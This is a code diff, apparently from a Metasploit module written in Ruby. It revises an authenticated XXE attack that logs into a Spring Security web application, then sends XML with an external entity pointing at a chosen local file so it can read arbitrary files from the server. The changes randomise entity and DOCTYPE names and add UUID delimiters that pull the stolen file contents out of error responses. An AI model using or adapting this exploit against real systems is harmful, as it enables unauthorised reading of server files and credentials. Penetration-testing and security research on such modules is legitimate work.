@@ -50,6 +50,7 @@ def initialize(info = {})
50
50
def run
51
51
52
52
print_status ( "Logging in to grab a valid session cookie" )
53
+
53
54
res = send_request_cgi ( {
54
55
'method' => 'POST' ,
55
56
'uri' => normalize_uri ( target_uri . path , 'j_spring_security_check' ) ,
@@ -60,6 +61,12 @@ def run
60
61
} ,
61
62
} )
62
63
64
+ if res . nil?
65
+ fail_with ( "No response from POST request" )
66
+ elsif res . code != 302
67
+ fail_with ( "Non-302 response from POST request" )
68
+ end
69
+
63
70
unless res . headers [ "Location" ] . include? "index.jsp"
64
71
fail_with ( Failure ::Unknown , 'Authentication failed' )
65
72
end
@@ -68,7 +75,16 @@ def run
68
75
69
76
print_status ( "Got cookie, going for the goods" )
70
77
71
- xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file://' +datastore [ "FILEPATH" ] +'" >]><foo>&xxe;</foo>'
78
+ rand_doctype = Rex ::Text . rand_text_alpha ( rand ( 1 ..10 ) )
79
+ rand_entity1 = Rex ::Text . rand_text_alpha ( rand ( 1 ..10 ) )
80
+ rand_entity2 = Rex ::Text . rand_text_alpha ( rand ( 1 ..10 ) )
81
+ delimiter = SecureRandom . uuid
82
+
83
+ xxe = %Q^<?xml version="1.0" encoding="ISO-8859-1"?>
84
+ <!DOCTYPE #{ rand_doctype } [
85
+ <!ELEMENT #{ rand_entity1 } ANY >
86
+ <!ENTITY #{ rand_entity2 } SYSTEM "file://#{ datastore [ "FILEPATH" ] } " >
87
+ ]><#{ rand_entity1 } >#{ delimiter } &#{ rand_entity2 } ;#{ delimiter } </#{ rand_entity1 } >^
72
88
73
89
res = send_request_raw ( {
74
90
'method' => 'POST' ,
@@ -77,15 +93,15 @@ def run
77
93
'cookie' => cookie
78
94
} )
79
95
80
- # extract filepath data from response and remove preceding errors
96
+ # extract filepath data from response
81
97
82
- if res . body =~ /<title.*\/ ?>(.+)<\/ title\/ ?>/m
83
- title = $1
98
+ if res and res . code == 400 and res . message =~ /#{ delimiter } (.+)#{ delimiter } /
99
+ result = $1
100
+ print_good ( "#{ result } " )
101
+ else
102
+ fail_with ( Failure ::Unknown , 'Error fetching file, try another' )
84
103
end
85
104
86
- result = title . match ( /"(.*)/m )
87
-
88
- print_good ( "#{ result } " )
89
-
90
105
end
91
106
end
107
+
0 commit comments